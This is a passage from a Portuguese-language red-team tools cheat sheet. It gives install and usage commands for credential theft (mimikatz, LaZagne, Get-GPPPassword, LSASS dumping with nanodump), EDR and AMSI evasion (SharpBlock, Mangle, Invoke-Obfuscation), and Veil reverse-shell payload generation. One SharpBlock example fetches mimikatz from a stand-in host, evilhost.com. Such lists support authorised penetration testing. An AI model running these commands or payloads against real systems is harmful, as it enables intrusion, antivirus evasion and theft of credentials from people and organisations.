### [🔙](#tool-list)[Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)
O Get-GPPPassword é um script PowerShell que faz parte do kit PowerSploit, projetado para recuperar senhas de contas locais que são criadas e gerenciadas usando as Preferências de Política de Grupo (GPP).
O Get-GPPPassword funciona pesquisando na pasta SYSVOL do controlador de domínio por quaisquer arquivos GPP que contenham informações de senha. Depois de encontrar esses arquivos, ele descriptografa as informações de senha e as exibe para o usuário.
**Instalação:**
Siga as [instruções de instalação](https://github.com/A-poc/RedTeam-Tools#powersploit) do PowerSploit desta folha de ferramentas.```bash
powershell.exe -ep bypass
Import-Module PowerSploit
Uso:```bash
Get-GPPPassword
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
### [🔙](#tool-list)[Sherlock](https://github.com/rasta-mouse/Sherlock)
Script PowerShell para encontrar rapidamente patches de software ausentes para vulnerabilidades de escalonamento de privilégio local.
_Compatível com:_
- MS10-015 : Modo de Usuário para Ring (KiTrap0D)
- MS10-092 : Agendador de Tarefas
- MS13-053 : Estouro de Pool do Kernel Win32k NTUserMessageCall
- MS13-081 : Página NULA Win32k TrackPopupMenuEx
- MS14-058 : Desreferência de Ponteiro Nulo Win32k TrackPopupMenu
- MS15-051 : Win32k ClientCopyImage
- MS15-078 : Estouro de Buffer do Driver de Fonte
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Identificador de Logon Secundário
- MS16-034 : Drivers em Modo Kernel do Windows EoP
- MS16-135 : Elevação de Privilégio do Win32k
- CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc
**Instalação: (PowerShell)**```bash
# Git install
git clone https://github.com/rasta-mouse/Sherlock
# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
Uso: (PowerShell)```bash
Find-AllVulns
Find-MS14058
_Imagem usada de https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/_
### [🔙](#tool-list)[Watson](https://github.com/rasta-mouse/Watson)
Watson é uma ferramenta .NET projetada para enumerar KBs ausentes e sugerir explorações para vulnerabilidades de Escalação de Privilégios.
Excelente para identificar patches ausentes e sugerir explorações que podem ser usadas para explorar vulnerabilidades conhecidas, a fim de obter privilégios mais elevados no sistema.
**Instalação:**
Usando [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra o [projeto Watson .sln](https://github.com/rasta-mouse/Watson), escolha "Release" e compile.
**Uso:**```bash
# Run all checks
Watson.exe
Texto da imagem usado de https://github.com/rasta-mouse/Watson#usage
Uma ferramenta baseada em C# que automatiza o processo de descoberta e exploração de sequestros de DLL (DLL Hijacks) em binários alvo.
Os caminhos sequestrados descobertos podem ser armamentados, durante um engajamento, para evadir os EDR's.
Instalação:
Nota: os pré-requisitos i e ii devem ser colocados no próprio diretório do ImpulsiveDLLHijacks.exe.
Informações de Compilação e Configuração:
ImpulsiveDLLHijack
E para as DLL's de Confirmação:
Configuração: Copie as DLL's de Confirmação (maldll32 e maldll64) no diretório do ImpulsiveDLLHijack.exe e então execute ImpulsiveDLLHijack.exe :))
Instruções de instalação de https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites
Uso:```bash
ImpulsiveDLLHijack.exe -h
ImpulsiveDLLHijack.exe -path BINARY_PATH
Exemplos de uso podem ser encontrados [aqui](https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples).
_Imagem usada de https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples_
### [🔙](#tool-list)[ADFSDump](https://github.com/mandiant/ADFSDump)
Uma ferramenta C# para extrair todos os tipos de itens úteis do AD FS.
Criado por Doug Bienstock [@doughsec](https://twitter.com/doughsec) enquanto estava na Mandiant FireEye.
Esta ferramenta é projetada para ser executada em conjunto com o ADFSpoof. O ADFSdump gerará todas as informações necessárias para gerar tokens de segurança usando o ADFSpoof.
**Requisitos:**
- O ADFSDump deve ser executado no contexto de usuário da conta de serviço do AD FS. Você pode obter essas informações executando uma lista de processos no servidor AD FS ou a partir da saída do cmdlet Get-ADFSProperties. Apenas a conta de serviço do AD FS tem as permissões necessárias para acessar o banco de dados de configuração. Nem mesmo um DA pode acessá-lo.
- O ADFSDump assume que o serviço está configurado para usar o Windows Internal Database (WID). Embora seria trivial suportar um servidor SQL externo, esse recurso não existe no momento.
- O ADFSDump deve ser executado localmente em um servidor AD FS, NÃO em um proxy de aplicativo web do AD FS. O WID só pode ser acessado localmente através de um pipe nomeado.
**Instalação: (Compilar)**
O ADFSDump foi compilado para .NET 4.5 com Visual Studio 2017 Community Edition. Basta abrir o arquivo .sln do projeto, escolher "Release" e compilar.
**Uso: (Flags)**```bash
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database
Blog - Explorando o Ataque Golden SAML contra ADFS
Imagem usada de https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
Um ofuscador de comandos e scripts PowerShell compatível com PowerShell v2.0+. Se um endpoint vítima é capaz de executar PowerShell, então esta ferramenta é ótima para criar scripts fortemente ofuscados.
Instalação:```bash git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
**Uso:**```bash
./Invoke-Obfuscation
Veil é uma ferramenta para gerar payloads do Metasploit que contornam soluções antivírus comuns.
Pode ser usado para gerar shellcode ofuscado, veja o blog oficial do Veil Framework para mais informações.
Instalação: (Kali)```bash apt -y install veil /usr/share/veil/config/setup.sh --force --silent
**Instalar: (Git)**```bash
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Uso:```bash
./Veil.py -t Ordnance --list-payloads
./Veil.py -t Ordnance --list-encoders
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
./Veil.py -t Evasion --list-payloads
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
Os criadores do Veil escreveram um ótimo [post no blog](https://www.veil-framework.com/veil-command-line-usage/) explicando mais sobre o uso da linha de comando de ordnance e evasão.
### [🔙](#tool-list)[SharpBlock](https://github.com/CCob/SharpBlock)
Um método de contornar as DLLs de projeção ativa do EDR ao impedir a execução do ponto de entrada.
**Recursos:**
- Bloqueia a execução do ponto de entrada das DLLs do EDR, o que impede que hooks do EDR sejam instalados.
- Bypass AMSI sem patches que é indetectável por scanners que buscam patches de código Amsi.dll em tempo de execução.
- Processo hospedeiro que é substituído por um PE de implantação que pode ser carregado a partir do disco, HTTP ou named pipe (Cobalt Strike).
- O processo implantado é ocultado para ajudar a evadir scanners que buscam processos ocos.
- Os argumentos da linha de comando são falsificados e implantados após a criação do processo usando um método furtivo de detecção de EDR.
- Bypass ETW sem patches.
- Bloqueia a invocação de NtProtectVirtualMemory quando o chamador está dentro do intervalo do espaço de endereço de uma DLL bloqueada.
**Instalação:**
Use o [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/) para compilar o binário SharpBlock.
Abra o [projeto .sln](https://github.com/CCob/SharpBlock) do SharpBlock, escolha "Release" e compile.
**Uso:**```bash
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Bom post do blog PenTestPartners aqui.
Imagem usada de https://youtu.be/0W9wkamknfM
O Alcatraz é um ofuscador de binários x64 com interface gráfica que é capaz de ofuscar vários tipos de arquivos PE, incluindo:
Alguns recursos de ofuscação suportados incluem:
Instalação: (Requisitos)
Instalação: https://vcpkg.io/en/getting-started.html```bash vcpkg.exe install asmjit:x64-windows vcpkg.exe install zydis:x64-windows
**Uso:**
Usando a GUI para ofuscar um binário:
1. Carregue um binário clicando em `file` no canto superior esquerdo.
2. Adicione funções expandindo a árvore `Functions`. (Você pode pesquisar digitando o nome na barra de pesquisa no topo)
3. Clique em `compile` (**Nota:** _Ofuscar muitas funções pode levar alguns segundos_)
Imagem usada de https://github.com/weak1337/Alcatraz
### [🔙](#tool-list)[Mangle](https://github.com/optiv/Mangle)
Mangle é uma ferramenta que manipula aspectos de executáveis compilados (.exe ou DLL).
Mangle pode remover strings conhecidas de Indicadores de Compromisso (IoC) e substituí-las por caracteres aleatórios, modificar o arquivo aumentando o tamanho para evitar EDRs, e pode clonar certificados de assinatura de código de arquivos legítimos.
Ao fazer isso, Mangle ajuda loaders a evadir scanners em disco e em memória.
**Instalação:**
O primeiro passo, como sempre, é clonar o repositório. Antes de compilar o Mangle, você precisará instalar as dependências. Para instalá-las, execute os seguintes comandos:```
go get github.com/Binject/debug/pe
Em seguida, construa-o``` git clone https://github.com/optiv/Mangle cd Mangle go build Mangle.go
**Uso:**```bash
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by
Informações completas de uso podem ser encontradas aqui.
Imagem usada de https://github.com/optiv/Mangle
AMSI.fail é um ótimo site que pode ser usado para gerar snippets ofuscados do PowerShell que quebram ou desabilitam o AMSI para o processo atual.
Os snippets são selecionados aleatoriamente de um pequeno conjunto de técnicas/variações antes de serem ofuscados. Cada snippet é ofuscado em tempo de execução/sob solicitação, de modo que nenhuma saída gerada compartilhe as mesmas assinaturas.
Post interessante da F-Secure explicando AMSI aqui.
Imagem usada de http://amsi.fail/
Ótima ferramenta para obter acesso a senhas com hash e em texto claro em um endpoint de vítimas. Depois de obter acesso privilegiado a um sistema, solte esta ferramenta para coletar algumas credenciais.
Instalação:
mimikatz.exe está na pasta x64.Uso:```bash .\mimikatz.exe privilege::debug
### [🔙](#tool-list)[LaZagne](https://github.com/AlessandroZ/LaZagne)
Ferramenta útil para extrair senhas armazenadas localmente de navegadores, bancos de dados, jogos, e-mail, git, wifi, etc.
**Instalação: (Binário)**
Você pode instalar o binário autônomo a partir de [aqui](https://github.com/AlessandroZ/LaZagne/releases/).
**Uso:**```bash
# Launch all modes
.\laZagne.exe all
# Launch only a specific module
.\laZagne.exe browsers
# Launch only a specific software script
.\laZagne.exe browsers -firefox
Ferramenta para quebrar hashes de senhas. Suporta uma grande lista de algoritmos de hash (A lista completa pode ser encontrada aqui).
Instalação: Binário
Você pode instalar o binário autónomo a partir daqui.
Uso:```bash .\hashcat.exe --help
Nice hashcat command [cheatsheet](https://cheatsheet.haax.fr/passcracking-hashfiles/hashcat_cheatsheet/).
### [🔙](#tool-list)[John the Ripper](https://github.com/openwall/john)
Outro quebrador de senhas, que suporta centenas de tipos de hash e cifras, e funciona em muitos sistemas operacionais, CPUs e GPUs.
**Instalação:**```bash
sudo apt-get install john -y
Uso:```bash john
### [🔙](#tool-list)[SCOMDecrypt](https://github.com/nccgroup/SCOMDecrypt)
Esta ferramenta foi projetada para recuperar e descriptografar credenciais RunAs armazenadas nos bancos de dados do Microsoft System Center Operations Manager (SCOM).
Postagem no blog da NCC - ['SCOMplicated? – Descriptografando credenciais "RunAs" do SCOM'](https://research.nccgroup.com/2017/02/23/scomplicated-decrypting-scom-runas-credentials/)
**Pré-requisitos:**
Para executar a ferramenta, você precisará de privilégios administrativos no servidor SCOM. Você também precisará garantir que tenha acesso de leitura à seguinte chave do registro:```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins
Você pode verificar manualmente que consegue ver o banco de dados coletando os detalhes de conexão das seguintes chaves:``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName
**Instalar: (PS1)**```
git clone https://github.com/nccgroup/SCOMDecrypt
cd .\SCOMDecrypt\SCOMDecrypt\
. .\Invoke-SCOMDecrypt.ps1
Instalação: (Compilar)
Usando o Visual Studio 2019 Community Edition você pode compilar o binário do SCOMDecrypt.
Abra o projeto .sln do SCOMDecrypt, escolha "Release" e compile.
Uso:```bash
Invoke-SCOMDecrypt
.\SCOMDecrypt.exe
_Texto da imagem usado de https://github.com/nccgroup/SCOMDecrypt_
### [🔙](#tool-list)[nanodump](https://github.com/helpsystems/nanodump)
O LSASS (Local Security Authority Subsystem Service) é um processo do sistema no sistema operacional Windows responsável por aplicar a política de segurança no sistema. Ele é responsável por uma série de tarefas relacionadas à segurança, incluindo autenticar usuários para login, aplicar políticas de segurança e gerar logs de auditoria.
Criar um dump desse processo pode permitir que um invasor extraia hashes de senha ou outras informações confidenciais da memória do processo, que poderiam ser usadas para comprometer ainda mais o sistema.
Isso permite a criação de um minidump do processo LSASS.
**Instalação:**```bash
git clone https://github.com/helpsystems/nanodump.git
Instalação: (Linux with MinGW)```bash make -f Makefile.mingw
**Instalar: (Windows com MSVC)**```bash
nmake -f Makefile.msvc
Instalação: (somente CobaltStrike)
Importe o script NanoDump.cna no Cobalt Strike.
Informações completas de instalação podem ser encontradas aqui.
Uso:```bash
nanodump.x64.exe
nanodump --silent-process-exit C:\Windows\Temp\
nanodump --shtinkering
Informações completas de uso podem ser encontradas [aqui](https://github.com/helpsystems/nanodump#1-usage).
_Imagem usada de https://github.com/helpsystems/nanodump_
### [🔙](#tool-list)[eviltree](https://github.com/t3l3machus/eviltree)
Uma releitura independente em python3 do clássico comando "tree" com a funcionalidade adicional de pesquisar por palavras-chave/expressões regulares fornecidas pelo usuário em arquivos, destacando aqueles que contêm correspondências. Criado por dois motivos principais:
- Ao pesquisar por segredos em arquivos de estruturas de diretórios aninhados, ser capaz de visualizar quais arquivos contêm palavras-chave/padrões regex fornecidos pelo usuário e onde esses arquivos estão localizados na hierarquia de pastas, proporciona uma vantagem significativa.
- `tree` é uma ferramenta incrível para analisar estruturas de diretórios. É muito útil ter uma alternativa independente do comando para enumeração pós-exploração, pois não está pré-instalada em todas as distribuições linux e é um tanto limitada no Windows (em comparação com a versão UNIX).
**Instalação:**```bash
git clone https://github.com/t3l3machus/eviltree
Uso:```bash
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v
_Imagem usada de https://github.com/t3l3machus/eviltree_
### [🔙](#tool-list)[SeeYouCM-Thief](https://github.com/trustedsec/SeeYouCM-Thief)
Ferramenta simples para baixar e analisar automaticamente arquivos de configuração de sistemas de telefonia Cisco em busca de credenciais SSH.
Também enumerará opcionalmente usuários do Active Directory a partir da API UDS.
[Blog - Explorando configurações incorretas comuns em sistemas de telefonia Cisco](https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/)
**Instalar:**```bash
git clone https://github.com/trustedsec/SeeYouCM-Thief
python3 -m pip install -r requirements.txt
Uso:```bash
./thief.py -H --userenum
./thief.py -H [--verbose]
./thief.py --phone [--verbose]
./thief.py --subnet [--verbose]
_Imagem usada de https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/_
### [🔙](#tool-list)[MailSniper](https://github.com/dafthack/MailSniper)
MailSniper é uma ferramenta de teste de penetração para pesquisar e-mails em um ambiente Microsoft Exchange por termos específicos (senhas, informações privilegiadas, informações de arquitetura de rede, etc.). Pode ser usada por um usuário não administrador para pesquisar seu próprio e-mail ou por um administrador do Exchange para pesquisar as caixas de correio de todos os usuários em um domínio.
MailSniper também inclui módulos adicionais para password spraying, enumeração de usuários e domínios, coleta da Lista de Endereços Global (GAL) do OWA e EWS e verificação de permissões de caixa de correio para cada usuário do Exchange em uma organização.
Um bom post no blog com mais informações [aqui](https://www.blackhillsinfosec.com/introducing-mailsniper-a-tool-for-searching-every-users-email-for-sensitive-data/).
[Manual de Campo do MailSniper](http://www.dafthack.com/files/MailSniper-Field-Manual.pdf)
**Instalação:**```
git clone https://github.com/dafthack/MailSniper
cd MailSniper
Import-Module MailSniper.ps1
Uso:```bash
Invoke-SelfSearch -Mailbox [email protected]
_Imagem utilizada de https://patrowl.io/_
# Descoberta
### [🔙](#tool-list)[PCredz](https://github.com/lgandx/PCredz)
Esta ferramenta extrai números de cartão de crédito, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc de um arquivo pcap ou de uma interface ao vivo.
**Instalação:**```bash
git clone https://github.com/lgandx/PCredz
Uso: (Pasta de Arquivos PCAP)```python python3 ./Pcredz -d /tmp/pcap-directory-to-parse/
**Uso:** (Captura ao Vivo)```python
python3 ./Pcredz -i eth0 -v
Ping Castle é uma ferramenta projetada para avaliar rapidamente o nível de segurança do Active Directory com uma metodologia baseada em avaliação de riscos e uma estrutura de maturidade. Não visa uma avaliação perfeita, mas sim um compromisso de eficiência.
Instalação: (Baixar)``` https://github.com/vletoux/pingcastle/releases/download/2.11.0.1/PingCastle_2.11.0.1.zip
**Uso:**```python
./PingCastle.exe
Seatbelt é uma ferramenta útil para coletar informações detalhadas sobre a postura de segurança de uma máquina Windows alvo, a fim de identificar potenciais vulnerabilidades e vetores de ataque.
Ela foi projetada para ser executada em uma máquina vítima comprometida para reunir informações sobre a configuração de segurança atual, incluindo informações sobre software instalado, serviços, políticas de grupo e outras configurações relacionadas à segurança.
Instalação: (Compilar)
O Seatbelt foi desenvolvido para .NET 3.5 e 4.0 com recursos do C# 8.0 e é compatível com o Visual Studio Community Edition.
Abra o projeto .sln, escolha "release" e compile.
Uso:```bash
Seatbelt.exe -group=all -full > output.txt
Seatbelt.exe "LogonEvents 30"
Seatbelt.exe "reg "HKLM\SOFTWARE\Microsoft\Windows Defender" 3 .defini. true"
Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\sam -password="yum "po-ta-toes""
Grupos completos de comandos e parâmetros podem ser encontrados [aqui](https://github.com/GhostPack/Seatbelt#command-groups).
_Imagem usada de https://exord66.github.io/csharp-in-memory-assemblies_
### [🔙](#tool-list)[ADRecon](https://github.com/sense-of-security/adrecon)
Excelente ferramenta para coletar informações sobre o ambiente Microsoft Active Directory (AD) de uma vítima, com suporte para saídas em Excel.
Pode ser executada a partir de qualquer estação de trabalho conectada ao ambiente, até mesmo de hosts que não são membros do domínio.
[BlackHat USA 2018 SlideDeck](https://speakerdeck.com/prashant3535/adrecon-bh-usa-2018-arsenal-and-def-con-26-demo-labs-presentation)
**Pré-requisitos**
- .NET Framework 3.0 ou posterior (Windows 7 inclui 3.0)
- PowerShell 2.0 ou posterior (Windows 7 inclui 2.0)